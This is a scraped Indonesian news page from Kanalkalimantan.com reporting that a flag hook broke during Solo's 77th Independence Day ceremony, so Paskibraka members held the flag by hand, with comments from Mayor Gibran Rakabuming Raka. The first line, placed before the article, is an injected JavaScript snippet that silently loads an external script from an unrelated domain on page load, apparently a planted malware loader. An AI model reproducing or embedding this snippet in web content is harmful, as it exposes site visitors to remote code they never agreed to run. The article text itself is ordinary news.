(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SOLO– Insiden terjadi saat upacara peringatan Hari Ulang Tahun ke-77 Kemerdekaan Republik Indonesia di Kota Solo, Jawa tengah. Upacara terpaksa tidak diikuti dengan pengibaran bendera merah putih karena pengait bendera merah putih lepas atau rusak.
Tentu saja, kejadian tersebut membuat para Pasukan Pengibar Bendera Pusaka (Paskibraka) dan para peserta upacara tercengang. Namun demikian, upacara yang dilaksanakan di Stadion Sriwedari, Kota Solo, tetap berlangsung dengan dibentangkan Merah Putih secara manual dan diiringi lagu Indonesia Raya.
Meskipun gagal dikibarkan pada saat upacara kemerdekaan, pengait bendera yang rusak langsung diperbaiki dan bendera tetap dikibarkan setelah upacara kemerdekaan selesai dilaksanakan.
Berdasarkan keterangan dari berbagai sumber, Wali Kota Solo, Gibran Rakabuming Raka menganggap insiden tersebut merupakan hal yang tidak terduga.
Baca juga : Meriahkan Hari Kemerdekaan RI ke-77, Warga Desa Haur Batu adakan Lomba dan Undian Berhadiah
“Insiden tidak terduga tersebut tentu saja mengecewakan para Paskibraka yang sudah latihan untuk mengibarkan bendera pada hari Kemerdekaan RI,” katanya.
Gibran Rakabuming Raka meminta para Paskibraka untuk tetap semangat.
Seperti sudah dijelaskan bahwa bendera merah putih gagal berkibar karena pengait tali di tiang bendera putus pada saat pengibaran hendak dilakukan. Momen tersebut membuat para seluruh peserta upacara berdebar, bahkan terdengar suara isak tangis dari para peserta upacara, baik yang ada di lapangan, maupun di tribun.
Paskibra yang hendak mengibarkan bendera merah putih mengambil keputusan di tengah situasi sulit. Ketiga pasukan pengibar bendera tetap membentangkan bendera dengan tangan mereka.
Baca juga : Pekapuran Laut Fashion Week Meriahkan HUT Kemerdekaan RI ke-77
Meskipun gagal mengibarkan bendera merah putih, setelah lagu Indonesia Raya berkumandang, para peserta upacara tetap memberi apresiasi kepada pengibar bendera.
Suara tepuk tangan bergemuruh di Stadion Sriwedari, tempat sang saka merah putih hendak dikibarkan.
Para pasukan pengibar bendera kemudian kembali melipat bendera dan menaruhnya di baki. Mereka pun kemudian membawanya kembali. (Kanalkalimantan.com/suara)
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
This website uses cookies.